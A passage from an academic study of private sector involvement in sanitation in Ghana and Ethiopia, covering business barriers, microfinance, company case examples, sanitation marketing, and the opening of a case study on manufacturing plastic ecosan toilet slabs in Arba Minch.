51 27 priorities for 2007/2008 agreed at the second MSF in 2007 involved establishing of models of sustainable service delivery, including the role of the private sector and effective supply chains (MoWR, 2007) Situation in Ghana One of the strategies of Ghana s national Environmental Sanitation Policy (ESP), which was developed in 1999 and recently revised, includes the privatization of environmental sanitation services (Thrift, 2007; WSP, 2011b). According to the ESP, services that are supposed to be provided by the private sector include, for example, the provision and management of septic tanks as well as the construction, rehabilitation and management of all public baths and toilets (Thrift, 2007). Also, the National Environmental Sanitation and Action Plan puts forward the targets of 100 % privately operated desludging ( ) and fully franchised management of all government-built treatment plants by 2015 (Murray et al., 2011). In Ghana, the Mole Conference Series organized annually by the CONIWAS bring all stakeholders together to discuss WASH topics. This also helps to integrate the private sector into the WASH sector Challenges for private sector involvement in sanitation There exist many barriers to general business growth in Africa and these may include 14 : access to and cost of financing, tax rates and tax administration, macroeconomic instability, corruption, economic and regulatory policy uncertainty, anti-competitive practices, customs and trade regulations, crime, theft and disorder, access to land, availability of skilled labor, availability of infrastructure (transportation, electricity, telecommunications), legal system, labor regulations, and business licensing and permits. Doing business in the sanitation sector in countries like Ghana and Ethiopia can be generally translated into doing business with people living in poverty, because it is often the poor that need improved sanitation. For example, in Ethiopia, the bottom of the pyramid (BOP) share in total population is 95 %, with almost 86 % BOP share of total income (Hammond et al., 2007). This can be translated into a huge market potential. For companies, doing business with the poor creates a challenge of innovation, in particular with regard to product development, building markets and creating new spaces for growth (UNDP, 2008). 14 Based on the World Bank Enterprise Surveys, expressing top concerns of firms in a particular country (World Bank, 2012).
52 28 There are many myths regarding doing business with the poor, one of them being that the poor do not have the financial capacity. In reality, it is the poor that often suffer from a poverty penalty, which means that they at times have to pay more than rich consumers for water and sanitation services due to the fact that they use informal vendors (UNDP, 2008; Sim et al., 2010). The 4 billion people at the BOP have significant purchasing power: the BOP makes up a USD 5 trillion global consumer market (Hammond et al., 2007). There are different segments that the BOP customers spend their money on. The highest portion is spent on food (USD 2,895 billion), energy (USD 433 billion), housing (USD 332 billion), transportation (USD 179 billion), health (USD 158 billion), information and technology (USD 51 billion), and finally on water (USD 20 billion) (Hammond et al., 2007). The sanitation segment is much smaller than the water segment, as it is a fraction of it. The poor need to become acknowledged as a potential consumer market. Also, sanitation should become a bigger concern to potential customers (Sim et al., 2010). One of the incentives of investing in sanitation should be presenting data on economic advantages of adopting sanitation, e.g., showing the medical expenses that may be faced with as a result of open defecation practices. This should have a better effect than only praising the health benefits resulting from access to improved water and sanitation. Health is a winning argument with governmental agencies, but for households that know the odor and discomfort of a pit latrine it is hard to link health benefits with sanitation General investment environment in Ghana and Ethiopia The bottom line of doing business in the sanitation sector is the same like in any other business. Therefore, it is important to consider the overall investment environment in a particular country. The general conditions for doing business in Ghana and Ethiopia have been improving, promoting Ghana to the fifth place and Ethiopia to the tenth place among countries in sub-saharan Africa (World Bank, 2012b). In 2011, Ghana was ranked 63 and Ethiopia 111 out of 183 economies 15 for the ease of doing business (World Bank, 2012c). Even though the investment climate in Ghana and Ethiopia has been improving, the countries are still faced with serious problems. Ethiopia s corruption problem is mirrored in the 2011 Corruption Perceptions Index of Transparency International, which ranked Ethiopia at 120, whereas Ghana at 69 out of 183 economies (Transparency International, 2012). Furthermore, the annual inflation rate (consumer prices 16 ) in Ethiopia in 2009 and 2010 was estimated at 8.5 % and 8.1 %, respectively (World Bank, 2011a). As a result, even though the per-capita income is growing, the purchasing power has been hindered due to the high inflation rate. In economies: 46 in sub-saharan Africa, 32 in Latin America and The Caribbean, 27 in Eastern Europe and Central Asia, 24 in East Asia and Pacific, 19 in the Middle East and North Africa and 8 in South Asia, and 27 OECD high-income economies as benchmarks. 16 Inflation as measured by the consumer price index reflects the annual percentage change in the cost to the average consumer of acquiring a basket of goods and services that may be fixed or changed at specified intervals, such as yearly (World Bank, 2011a).
53 29 Ghana, the annual rate of inflation (consumer prices) in 2009 and 2010 was estimated at 19.3 % and 10.7 %, respectively (World Bank, 2011a) Infrastructure Transportation costs are a serious bottleneck in many African countries. Ethiopia does not have a direct access to the sea and uses the port in Djibouti for the movement of goods. This makes imports of raw materials, machinery, etc. costly, in particular when taking into account the fact that the Ethiopian Shipping Lines are operating in an almost monopolistic manner and are able to demand elevated shipping costs (Germany Trade and Invest, 2009b). Furthermore, the road infrastructure in Ethiopia is underdeveloped. For example, for inland transportation and handling in Ethiopia, 7 days are required, whereas in Ghana, only 2 days (World Bank, 2012b). The telecommunications infrastructure in Ethiopia is also underdeveloped. Both in Ghana and Ethiopia, a delay in obtaining a mainline telephone connection is longer than the sub-saharan Africa average (World Bank, 2006; World Bank, 2007). The development of the industrial economy in Ethiopia is hindered by the shortage of electricity and the resulting rationalization of power. With the electricity demand growing at an annual rate of 16 %, the electricity shortage is solved through socalled power shedding, i.e. since May 2009 all locations are withdrawn from the grid every second day for about 18 hours (Germany Trade and Invest, 2009a). It is therefore common to install power generators in order to continue industrial operation during this time. Also in Ghana, one of the main concerns of firms is the electricity infrastructure, with almost a half of firms identifying it as a problem (World Bank, 2007). Problems encountered include power outages and delays in obtaining electrical connection. In the category getting electricity, both countries did poorly, i.e. Ethiopia was ranked 93 and Ghana 68 out of 183 economies, which is mainly attributed to delays in getting a new connection (95 days in Ethiopia and 78 days in Ghana) (World Bank, 2012b) Financing The ease of starting a business in Ghana and Ethiopia, in terms of the number of procedures and time it takes, is much better than sub-saharan Africa countries averages (World Bank, 2012c). At the same time, the minimum capital needed to start a business in Ethiopia (expressed in percentage of income per capita) is close to 334 %. Even though one needs to keep in mind that the average income in Ethiopia of 220 USD (2007) is one of the lowest in the world, it is still a big constraint (Germany Trade and Invest, 2009b). In Ghana, the minimum capital needed to start a business is close to 6 % of income per capita (World Bank, 2012c). The cost of and access to financing is one of the major obstacles for firm growth in Africa. For example, for contractors and drillers, the absence of collateral is a major impediment to obtaining loans, both short and long term (Howard, 2005). As a result, start-up capital is often a challenge and it makes it one of the greatest priorities for credit schemes to become available to the private sector. In 2011, Ethiopia was ranked 150 and Ghana 48 out of 183 economies for the easiness of getting a credit (World Bank, 2012c).
54 Capacity development Many developing countries suffer from lack of capacity, technical knowledge and expertise, in the government agencies, but also in the local private sector. According to Foster and Briceño-Garmendia (2010), low prevalence of improved sanitation facilities can be explained by poor knowledge in the construction sector about designs, lack of skilled workforce and shortage of materials. In Ethiopia, the government is the dominant actor in the water and sanitation sector, but the division of roles and responsibilities between departments and bureaus is often ambiguous (Howard, 2005). Even though, in particular regional bureaus are often overstretched, they do not outsource work to the private sector, which would often make the implementation potentially quicker and cheaper (Howard, 2005). In order to develop capacity of the government agencies for monitoring and assessment, direct implementation of water and sanitation should be outsourced to the private sector. Providing an enabling environment for the local market to develop facilitates innovation that can also lower the cost of improved sanitation facilities (Foster and Briceño-Garmendia, 2010). Technological innovation is needed in order to safeguard health benefits with cheaper alternatives, which are adapted to local conditions (Foster and Briceño-Garmendia, 2010) Demand for sanitation When a company has a product or service to sell, there needs to be demand in place, i.e. people willing to buy the particular product or service. Therefore, it is important to provide products and services that there is a demand for and to promote them in a suitable manner. Sanitation adoption is mostly connected with a behavioral change, which needs to be prompted by a well-designed promotional campaign. During the interviews conducted in Ethiopia, representatives of many NGOs stated that a real challenge to adopting sanitation involves cultural issues and a lack of knowledge on the link between health and sanitation. It is particularly difficult to trigger a behavioral change in nomadic and pastoral communities and in regions with a high evaporation rate, availability of open spaces and low population density. In such regions, open defecation is not seen as a health threat but as a sanitation option. People living in these regions do not understand why sanitation should be fixed in one place and why they are expected to use their limited resources to built it. Thus, in communities, where financial resources are scarce and the level of knowledge is low, bringing about changes in behavior may present a serious challenge. It requires more effort on explaining the economic benefit of shifting from open defecation, in particular focusing on avoiding expenses on medication and working days lost due to illness Private sector involvement in water supply vs. sanitation As already discussed, there are many challenges regarding the involvement of the private sector in sanitation in Africa. Nevertheless, some companies have managed to establish a market but the area of business of these companies is mainly related to the water supply sector.
55 31 According to Howard (2005), in the water and sanitation sector in Ethiopia, the private sector is mainly involved as contractors, consultants, suppliers, artisans and tap attendants. Private sector involvement in sanitation is even less common in Ethiopia and it is mainly limited to septic tank emptying or solid waste collection. In Ghana, most small scale providers in urban areas such as tanker services and water vendors are involved in water supply services. In 1997, small scale independent providers were legalized in Accra and the main water supply utility (GWCL) entered into contract with water tanker associations (WELL, 2003). In 2005, a private operator called Aqua Vitens Rand was selected for a five-year management contract for urban water supply (WSP, 2011b). Informal providers in Ghana are also involved in sanitation services such as latrine construction, manual latrine cleaning, septic tank emptying and management of public latrines (WELL, 2003). Even though the private sector involvement in water supply services is common in countries like Ethiopia and Ghana, in sanitation there are still not many partnerships involving the private sector. There are many reasons for that, including the fact that subsidies for water supply are allowed in Ethiopia, whereas it is not the case for household sanitation (MoH, 2005). Also, compared to the water supply sector there is much less known about unit costs with regard to sanitation. This appears to be a clear disincentive for investors to move to this sector. Ghana is one of the countries where the WASHCost Project ( ) is currently being implemented. The project researches the life-cycle costs of WASH services in rural and peri-urban areas, which will also help to study sanitation unit costs. In Ethiopia, until recently, sanitation interventions had been mainly focused on rural areas and so had been the government. From the private sector s point of view, there is little potential profit from provision of sanitation in rural areas. Most toilets in rural areas are built with locally available materials and using self-help. Urban sanitation systems, on the other hand, offer a variety of processes representing potential business opportunities that may include small scale provision for construction of system components, collection, transportation, storage, processing or recovery of products, for example, biogas and fertilizer (Panesar et al., 2008) Examples of private sector involvement in sanitation Sustainable sanitation has potential for successful business opportunities, which has been proven by numerous projects and programs around the world., e.g., Ecoloove (India), Ecotact (Kenya), Gram Vikas (India), Sulabh International (India), Waste Concern Group (Bangladesh), Water for People s Sanitation as a Business Program (Malawi) (Sim et al., 2010; Gröber et al., 2011a). These business ventures show that sanitation not only generates profits but also provides jobs and improves the sanitary situation. Private sector involvement in sanitation is not a new approach. Generally, one can differentiate between two types of sanitation entrepreneurs; those dealing with sanitation services (e.g., septic tank emptying, toilet building) and those making sanitation goods, such as manufacturing toilets or other hygienic products, for example, soap (Schaub-Jones, 2010). One can make an even more detailed division between sanitation entrepreneurs as sanitation provides a number of ways in which
56 32 the private sector can become involved, including the following (adapted from Gröber et al., 2011a): (a) manufacturing of sanitation products (e.g., toilet slabs, septic tanks), (b) installation of sanitation systems (e.g., pit digging, superstructure installation), (c) operation and maintenance (e.g., of community or public toilets), (d) promotion and advertising (e.g., sanitation adoption promotion), (e) collection, storage and safe disposal (e.g., pit latrine emptying, storage of collected urine from UDDTs), (f) training (e.g., in application of urine as fertilizer, toilet building, hygienic behavior), (g) nutrients reuse (e.g., selling of urine after required storage for use as fertilizer or sanitized feces as soil conditioner), and (h) consulting (e.g., technology or site selection, preparation of baseline studies). There are many examples of entrepreneurs that have established successful companies in the sanitation sector and three of them are presented below. Ecotact 17 an example of (b), (c) and (d) In 2006, David Kuria, who was elected an Ashoka 18 fellow in 2007, founded a social business venture in Kenya called Ecotact. Ecotact builds Icotoilets malls, customers of which can take advantage of toilets and a variety of services available alongside, including a water kiosk, a baby-changing station, shoe shine, barber booths, food stalls, phone, newspaper stands or showers. In Kibera, one of the largest slums of Sub-Saharan Africa (UNDP, 2006a) that is located in Kenya, around 30,000 customers use Icotoilet facilities on a daily basis. As of June 2011, 30 Ikotoilets have been built, and the number of Ikotoilet customers is expected to reach 10 million in 2011, compared to 6.2 million in 2010 (Gröber et al., 2011a). The operation and maintenance of toilet malls is guaranteed by a trained workforce. Through social marketing campaigns with celebrities, for example, the vice-president of Kenya and Miss Kenya, weekly tournaments and a reality TV show, Ecotact is trying to reduce the shame and taboos linked with toilets and hygiene in order to make sanitation fashionable. Ecotact is also embarking on an enterprise franchise model, where the company invests in construction of toilet facilities, develops a management guide and quality matrix, and franchises the management of facilities to local entrepreneurs within their respective municipalities. Further plans include converting human waste into biogas, as well as collecting urine separately for fertilizing crops and as a means of saving flush water. Expanding the facilities countrywide and to other countries in Africa are also on the company s agenda. 17 Information on Ecotact is based on Schwab Foundation for Social Entrepreneurship (n.d.), unless indicated otherwise. 18 Ashoka network is a global association of social entrepreneurs who work on social innovation worldwide in a variety of sectors, for example, health, energy, housing, water and sanitation, etc.
57 33 Dignified Mobile Toilets an example of (c), (d) and (e) Another example of turning sanitation into a business venture was accomplished by Isaac Durojaiye, who is also an Ashoka fellow. He started the first mobile toilet initiative in Nigeria as a response to the lack of adequate public toilet facilities in the country. His company Dignified Mobile Toilets (DMT) supplies plastic toilets for lease and handles their emptying. Toilets are leased to unemployed youth. They are placed in public places and are used by approximately 100 people per day (DMT Toilets, 2010). The franchisees collect a fee for the toilet use, pay back 40 % to DMT and stay with the rest as their income (DMT Toilets, 2010). In this way, the system is able to provide jobs and assures cleanliness and proper functioning of toilets. Toilets can also be rented or sold to other companies. Businesses can also buy advertising space on the toilet doors. The DMT business generates approximately 25 % of its annual revenues from selling of advertising spaces (Drewko, 2007). DMT is also planning to establish a biogas plant designed to process and convert sanitation waste into cooking gas (Akinpelu, 2008). The company is also involved in social projects in Nigeria, for example, it runs the Basic Toilet for Schools Scheme, through which schools are offered mobile toilets at special discounts (Akinpelu, 2008). Sulabh International an example of (b) and (c) Sulabh International is an NGO working in India that addresses the sanitation challenge. Sulabh operates a variety of services, including construction of two-pit pour-flush toilets for individual households, construction and maintenance of community toilets on a pay-and-use basis and community toilets in slums. Pay-anduse community toilets catering to the urban poor living in slums and squatter settlements and the low-income floating population in the served areas are located at public places. The community toilets managed by Sulabh are normally located in lowincome settlements, serving the residents where household toilets are not available (Chary et al., 2003). In the pay-and-use approach, the municipal corporations provide land, and cover utility and construction costs as well as the service charge, which is 20 % of the project cost paid to Sulabh to meet its overhead, monitoring and supervision costs (Chary et al., 2003). In the pay-and-use approach, Sulabh charges an equivalent of USD 0.02 per use of a toilet or bath and the use of urinals is free of charge (Chary et al., 2003). Thus, Sulabh covers all its operational costs from user s fees and does not depend on foreign donors. For the construction, operation and maintenance of community toilet complexes Sulabh plays a role of a catalyst and a partner between the official agencies and the users of the toilet complexes (Chary et al., 2003). The municipal corporations are the key public partners. They enter into a lease agreement with Sulabh for the construction and maintenance of community toilets. As far as community toilets are concerned, the corporations have to provide a block grant to the private operator in the view of maintenance costs, and so the toilets are provided free of charge to the users (Chary et al., 2003).
58 Methods to address challenges for private sector involvement in sanitation Methods to tackle the challenges for private sector involvement in sanitation as described in Section are discussed further Infrastructure As already discussed, one of the biggest problems in Africa includes issues related to transportation and supply, which are directly linked to bad road infrastructure. In order to reduce transportation costs, factories should be open close to where the demand is located. Also, considering product design that allows arranging goods on one another enables more products to be transported at the same time and reduces transportation costs of finished products. Also, moving from cement to plastic raw material makes products easier and cheaper to transport, which results in plastic sanitary product manufacturers showing interest in the urban sanitation market Financing One idea to overcome the financial constraints faced by the private sector is to change the requirements for obtaining a loan, for example, insurance or advance payment bonds instead of collateral (Howard, 2005). In order to reach remote rural areas and poor urban areas, it is necessary to encourage the microfinance sector to grow. Micro-credit schemes for sanitation provision should be based upon market research of locally based demand, appropriate financial and accounting systems, thorough understanding of the borrower and intermediary capabilities (Fonseca, 2006). When microfinance products are aimed at small scale private providers, it is important that a company provides an appropriate and affordable technology and different sanitation options so that diverse customer needs can be met. As a result of promotional efforts of the Government of Ethiopia, the number of institutions providing micro-credits in Ethiopia has expanded. As of June 2007, there were 26 operational microfinance institutions (MFIs), which collectively serviced about 1.7 million borrowing clients (Amha, 2008). Mehta (2008) classified Ghana and Ethiopia as countries with a medium supply side potential for scaling up through the microfinance sector, i.e. water supply and sanitation loans make up 5-15 % of the microfinance gross loan portfolio. Therefore, the microfinance sector can meet a part of the potential water supply and sanitation demand in Ghana and Ethiopia. Furthermore, Ethiopia is among the countries with high financial sector potential, i.e. financial deposits of more than 30 % of the GDP (Mehta, 2008). Potential clients of microfinance for sanitation are CBOs, small scale private providers and households. Mehta and Virjee (2003) reported that some donor programs are using MFIs in Ethiopia to provide financial services to CBOs in the implementation of rural water supply and sanitation projects. For example, in Amhara, saving with MFIs allows access to funds for repairs and maintenance. The advantages of using MFIs in micro-credit schemes include sustainable management of loans, existing skills and capacities and legal provision to manage the microfinance activity (Mahider and Demie, 2005). On the other hand, a guarantee requirement, high interest rates and down payment are major limitations for the poor (Mahider and Demie, 2005).
59 35 Grants could be used to set up a microfinance scheme for sanitation related investments with funds channeled from the central or local government or donor and charity allocations (Sijbesma et al., 2008). In Ethiopia, friends/relatives, suppliers credit 19, and Iqub (rotating saving and credit associations) are the most important sources of finance in that order, and moneylenders are used very rarely (Ageba and Amha, 2006, p.63). A membership in one of CBOs is very common in Ethiopia, with many CBOs playing an active part in the lives of Ethiopians. One of them is the above mentioned equb (also called iqub), in which members collect money and distribute it among themselves following set rules. If equbs started providing short term loans, also to non-members, they could offer competitive interest rates compared to that of banks and MFIs. Another advantage of using equbs for micro-credit schemes is the fact that they already have skills and experience in managing loans (Mahider and Demie, 2005). It is also possible to involve water and sanitation committees and other CBOs in micro-credit schemes. For example, in Ethiopia, idirs are CBOs whose original purpose is to organize funerals for their members, but their activities may also include organizing awareness campaigns on HIV or family planning. Incorporating idirs into micro-credit schemes would mean less bureaucracy during loan appraisal and customer selection, however, other potential problems such as credit repayment and a lack of skills of credit management should be addressed (Mahider and Demie, 2005). Companies working in the sanitation field should partner with savings groups, for example, equbs or local micro-credit institutions to facilitate payment in installments. According to Sijbesma et al. (2008), it is not the cost of sanitation or the willingness to pay that is a challenge for poor households, but the upfront lump sum investment. While wealthier households can make use of conventional loans, poor households are more inclined to borrow money through solidarity group loans. Revolving funds, which do not require collateral, but money is saved and borrowed on a rotational basis with no interest rate, could help households get financial resources for buying sanitary products and building sanitation facilities. According to WSSCC (2009), micro-credit or revolving funds for financing household sanitation facilities has not been practiced in Ethiopia. In Ghana, the Association of Water and Sanitation Development Boards adopted a strategy similar to a revolving fund and established a reserve fund that they allocated in short term investments of low risk (Sijbesma et al., 2008). The interest they earn on these investments is used by member boards to fund water supply and sanitation interventions. It is worth looking at the iconic example of the Grameen Bank, which charges commercial interest rates, but has a high repayment rate. In Bangladesh, the bank lends money mostly to poor women, who are organized in cells of five and are collectively responsible for each other s loans (Hulme, 2008). The bank also requires clients to make compulsory small savings each week. It does not ask for collateral, but a guarantee from a relative or a group to which the client belongs and allows repayment at intervals that work best for the borrower (Sijbesma et al., 2008). 19 Supplier s credit refers to a financing arrangement, whereby an exporter extends credit to the buyer.
60 36 In Kenya, small and medium enterprises (SMEs) offer complete packages for water and sanitation, which are bought on credit, mainly by institutions (Rowe, 2007). These loans are partly supported by the government. A similar approach could also be adopted by companies in Ghana and Ethiopia. Ageba and Amha (2006) reported that credit could become a potential instrument for banks to channel finance to SMEs in Ethiopia in order to improve access, e.g., to modern machinery, equipment or tools. Kentainers, a company located in Kenya that manufactures plastic water and sanitation products, encourage individuals to either form or join a CBO in order to be able to buy water and sanitation products in bulk and to take advantage of any credit facilities that a CBO may offer (Rowe, 2007). For manufacturers of sanitary products, selling products in bulk to associations is practiced in order to overcome the financial issues related to expensive local dealers (pers. communication, A. Knapp, World Bank s Water and Sanitation Program, Addis Ababa, Ethiopia, ). Sanitation should be considered as a public good, thus some tax exemptions should be allowed. There are many examples where it could be applicable, including artisan associations or local companies manufacturing toilets. In this way, these actors could become capable of technology, skills and expertise development, which could, in turn, encourage the growth and efficiency of the small scale private sector. So far, tax incentives in Ethiopia include duty-free import of machinery and spare parts and a time limited duty-free import of raw materials that are not available in Ethiopia (pers. communication, A. Woldemariam, Director of Investment, Promotion and Public Relation, Ethiopian Investment Agency, Addis Ababa, ). In Ghana, the standard value added tax (VAT) rate is at 12.5 %, in Ethiopia: 15.0 %, whereas, in Uganda, a zero VAT rate on sanitation products has been introduced as a government s initiative to increase sanitation coverage levels (Rowe, 2007) Capacity development Training needs to be provided, for example, to local artisans, consultants, toilet manufacturers, in order to develop their capacities and help them provide efficient services. Local small scale providers often do not have the resources to develop new skills and to make use of new technologies (Foster and Briceño-Garmendia, 2010). In order for the private sector to develop new skills, large scale implementation is required. This would provide necessary resources to develop new technologies and achieve economies of scale. In order for this to happen, governmental support and regulation is required, for example, through an establishment of a new institution with adequate experience in the water and sanitation sector (Howard, 2005). In order for the private sector to go to scale, a social franchising concept could be considered. Social franchising is: [a]n adaptation of a commercial franchise in which the developer of a successfully tested social concept (franchisor) enables others (franchisees) to replicate the model using the tested system and brand name to achieve a social benefit (WHO, 2007, p.5). Through a franchise system, economies of scale can be reached relatively fast. Thus, products or services can be made available at a much lower cost than commercial solutions. As already mentioned, Ecotact in Kenya is launching a franchise network. Also, the World Toilet Organization is developing a social franchise model called SaniShop, in which a franchisor is going to provide fast
61 37 replication training modules to local entrepreneurs (Sim et al., 2010). Devine (2010) reported that the Global Scaling Up Project in East Java is taking into consideration applying the social franchising approach. Within this approach, selected entrepreneurs will be identified for capacity building in various areas, e.g., stock management, post-sales servicing or financing. Subsidies for sanitation hardware may have downsides, for example, reducing the demand of households that are able to pay (Foster and Briceño-Garmendia, 2010). Also, subsidies often lead to poorly managed sanitation facilities. Therefore, indirect subsidies for the development of the private sector could be provided instead. In this way, undeveloped sanitation supply chains and an immature sanitation market could take advantage of the government s start-up support. This could be provided at the product development stage, for quality assurance or marketing and promotion. This would encourage technological innovations and allow adapting existing sanitary options to local conditions. It is also advisable to provide a range of sanitation options in order to meet specific requirements. Companies need to experiment with their product development. In order to keep the manufacturing costs down, overengineering of products should be avoided. However, the durability and desired longevity needs to be assured. Governmental support could also be used for training of local sanitation providers Demand for sanitation Marketing of sanitation is an important aspect as it ensures that the customers choose what they want and what they are willing to pay for. Kentainers came up with a simple method of drafting a theoretical demand for nutrients reuse in order to plan a marketing strategy for their sanitary products that are applicable in the ecosan approach. They considered the following aspects and marked them on different layers on a map: need for sanitation facilities, ethnic groups (which influences the acceptance of excreta based fertilizers to be applied in agriculture), agricultural practices, so that they could clearly see where they should start promoting their products (pers. communication, A. Knapp, World Bank s Water and Sanitation Program, Addis Ababa, Ethiopia, ). Sanitation marketing is an important approach for creating demand for sanitation. Sanitation marketing is a part of social marketing, which is a systematic strategy in which acceptable concepts, behaviours, or products, and how to promote, distribute and price them for the market, are defined (Simpson-Hébert and Wood, 1998, p.51). Like traditional marketing, social marketing also has four components: product, price, place and promotion. It is important to offer a range of products that can match the demand of different customers. Product might be referred to as a physical product such as a toilet slab or a service such as toilet installation. Products need to be offered at an affordable price. Affordable means that the price needs to match the willingness to pay and the spending capacity of the target customers. At the same time, the price needs to allow the business to generate sufficient revenues in order to make it profitable. The place component of social marketing means that the product needs to be made available to the customer, i.e. it refers to the distribution channels of the product. The promotion component aims at getting the customer s attention through a variety of channels, e.g., advertising in media, special offers or theatre plays organized at a community level.
62 38 Heierli and Frias (2007) introduced people as the fifth component of the sanitation marketing mix, referring to a people-centered approach to sanitation. A publication by USAID HIP (2010) introduced policy and partners as further components of the sanitation marketing mix. The understanding of the policy is required in order to assess whether it is supportive of sanitation marketing or imposes a constraint. In this aspect, the policy is not strictly related to laws and regulations but also considers local cultural norms and customs. Due to the fact that sanitation marketing is based on partnerships, involving other stakeholders and informing them about the benefits of their involvement is essential. It is also important to be informed about the ongoing sanitation interventions (e.g., by NGOs or CBOs) to determine their potential to contribute to the development of sanitation marketing. A study in Peru reported by Baskovich (2010) showed that not health but enhancing the social status was the top trigger to invest in sanitation. Thus, toilets should be sold as an object of desire and a symbol for a healthy, sustainable and modern lifestyle (Sim et al., 2010, p.26). One example of seeing the disparity between buying something considered as a status symbol and investing in sanitation comes from India, where million people own cell phones, whereas only 366 million have access to modern sanitation (Cohen, 2010). There are examples of successful sanitation promotion campaigns, where, for example, sports stars were used as role models in order to raise awareness for WASH improvements (Gröber et al., 2011b). Product branding in sanitation is another emerging approach that aims at winning customers. For example, in the Global Scaling Up Sanitation Project in East Java, a WC Sehat Murad Sumadi is sold to rural households (Devine, 2010). The business selling the branded product also offers post-sales service and warranties. A recent study performed in Amhara, Ethiopia suggested that sanitation marketing should become an integral part of a sanitation promotion program. It was substantiated by the reasons argued by households that did not adopt sanitation and were still practicing open defecation. The reasons for not constructing a toilet included the following: 33 % stated no land owned or no space available to construct a toilet, 17 % stated absence of someone in the household to construct a toilet, 10 % stated other priorities, 9 % stated no skills to build, and only 4 % stated the cost (USAID, 2011) Example from the SNNP Region, Ethiopia Even though the involvement of the private sector in sanitation interventions in Ethiopia has been neglected, it offers a great opportunity that should be explored (Drewko and Otterpohl, 2009; Drewko and Otterpohl, 2010). According to N. Asaro (tel. interview, Head of Drinking Water Resources Department at the Regional Water Bureau, Awassa, ), there are many suppliers of sanitation products operating in the SNNP Region. Unfortunately, they are facing a number of problems. One of the biggest challenges is connected with maintenance, in particular the provision of spare parts. Furthermore, the local private sector has not succeeded in creating a well-functioning marketing system, nor there is an information-sharing system in place that would allow the private sector to get informed on planned or ongoing sanitation projects in the region. The local private sector also lacks training.
63 39 According to the interviewee, spare part centers (also called sani-marts) are planned to be established in four cities in the SNNP Region 20. Through sani-marts the problem of spare parts provision could be solved, and training together with technical expertise could be provided there. Spare part centers could also serve as product information centers, where access to experts and even financial opportunities could be offered. In this way, customers would be attracted to one single location, where purchase of sanitation products would be made easy for them. Furthermore, promotional efforts could be concentrated around sani-marts, so a variety of demonstration toilets and related literature could be made available. In order to mitigate the problem of low private sector involvement level in the sanitation sector, the potential market opportunities should be communicated to the private sector. In order to encourage cooperation, foster experience and ideas sharing as well as to obtain a better overview of stakeholders operating in the sanitation sector, a regional multi-stakeholder forum is planned to be established in the SNNP Region (tel. interview, N. Asaro, Head of Drinking Water Resources Department at the Regional Water Bureau, Awassa, ). Members of the regional multi-stakeholder forum would include representatives of local government offices, NGOs, CBOs and the private sector. Each of the forum members has big assignments on their own agenda. Thus, the objective of the forum would not involve dealing with each and every technical aspect, but to share experience and ideas with different stakeholders operating in the region. The multistakeholder forum meeting could be held every three or six months, depending on the demand. The private sector could use NGOs inside local knowledge in order to better estimate the demand for their products and services. This could result in creating a sanitation partnership between local government agencies, NGOs, CBOs and the private sector in order to reach sustainable solutions. The example from the SNNP Region in Ethiopia shows that the identification of problems that the local private sector is facing is crucial. It is necessary for the potential solutions to be backed by the regional or local government, due to its credibility and required public resources. 20 It is an intervention proposed in the Needs assessment to achieve universal access, with two sanimarts set up at each woreda to introduce different available sanitation options to the community and a market for sanitation material supply (WSSCC, 2009). However, as of 2009, no finance has been allocated for sani-marts.
64 40 3 CASE STUDY ETHIOPIA As discussed in Chapter 2, many governments in developing countries, including Ethiopia, are facing a significant financial gap hindering the provision of basic services such as sanitation. Therefore, the private sector is becoming more and more involved in these services. This chapter presents a business idea of manufacturing and selling plastic toilet slabs (to be used under the ecological sanitation (ecosan) approach) in Ethiopia. First, technical and economic background is presented. Then, competitors and prices of toilets in Ethiopia are discussed. Next, procurement and logistics as well as market and sales are introduced. Finally, investment requirements, project financing and returns as well as government support and regulations are described. 3.1 Technical outline for toilet manufacturing in Ethiopia Technical aspects for the business idea of manufacturing plastic toilet slabs in Ethiopia are discussed in this section. First, the business idea is introduced. Further, a comprehensive product and process description follows, including a selection of available manufacturing processes as well as technical parameters considering aspects such as coloring techniques, material preparation, machine types, molds and moldable materials Business idea The project considers a private company founded in Arba Minch, Ethiopia for the manufacturing and sales of four selected types of plastic toilet slabs to be used under the ecosan principle. The business idea assumes that manufactured products will be sold in Arba Minch and other cities in the Southern Nations, Nationalities and People s (SNNP) Region. Toilet slabs will be produced with the rotational molding process. Manufacturing machinery and raw materials are not available in Ethiopia, thus will be imported. Land for the manufacturing plant, warehouse and office buildings will be leased in a designated industrial zone in Arba Minch. Depending on the production and sales volume, transportation of finished products will be performed by a third party or a car will be purchased for own distribution. The company will employ engineers, production staff, plant maintenance staff, security and office staff as well as drivers. The business idea assumes that the investment will be primarily focused on serving the local household and institutional sanitation market in Arba Minch and its vicinity with a high prospect of the regional market penetration in the SNNP Region in Ethiopia. The speed of the market expansion from local to regional reach will be mainly dependent on the sufficient demand creation, available physical infrastructure, manpower and the capacity of the production plant to meet respectively higher production volumes Product description Products manufactured by the company will be a selection of toilet slabs that will satisfy various customer needs. All dimensions of products are presented in Table 3.1. Product schemes are presented in Figure 3.5 to Figure 3.8. A urine diverting
65 41 sitting slab will be further referred to as Product 1, a urine diverting squatting slab as Product 2, an Arborloo slab as Product 3 and a Fossa Alterna slab as Product 4. Table 3.1: Dimensions of manufactured products Product no. Product name Size (cm) 1 Urine diverting sitting slab 50 x 60 x 24 2 Urine diverting squatting slab 55 x 30 x 18 3 Arborloo slab 80 (diameter) x 4 4 Fossa Alterna slab 120 x 90 x 4 The design of Product 1 and Product 2 allows urine and feces to be collected separately, i.e. urine is diverted from feces and does not mix with feces. Urine diverting toilets are built for separate collection and resulting treatment of urine and feces and their use in agriculture as a source of nutrients. Users decide whether they prefer a sitting (Product 1) or a squatting (Product 2) urine diversion toilet. Product 3 is suitable as an Arborloo slab. Arborloos are similar to pit latrines, however, all parts of an Arborloo are portable and they are moved at about 6-12 monthly intervals (Morgan, 2004). Arborloo pits are shallow (up to 1 m deep) and soil, wood ash and leaves are added regularly to the pit in addition to excreta to aid the composting process (Morgan, 2004). After moving an Arborloo toilet to a new site, a layer of leaves and fertile topsoil is added to the contents of the pit and a young tree is planted (Morgan, 2004). Figure 3.1: Urine diverting sitting slab Figure 3.2: Urine diverting squatting slab Figure 3.3: Arborloo with a cement slab Figure 3.4: Fossa Alterna (Photo: P. Morgan) Product 4 is suitable as a Fossa Alterna slab. Fossa Alterna is a simple alternating pit toilet system designed specifically to make humus suitable for agriculture. There are
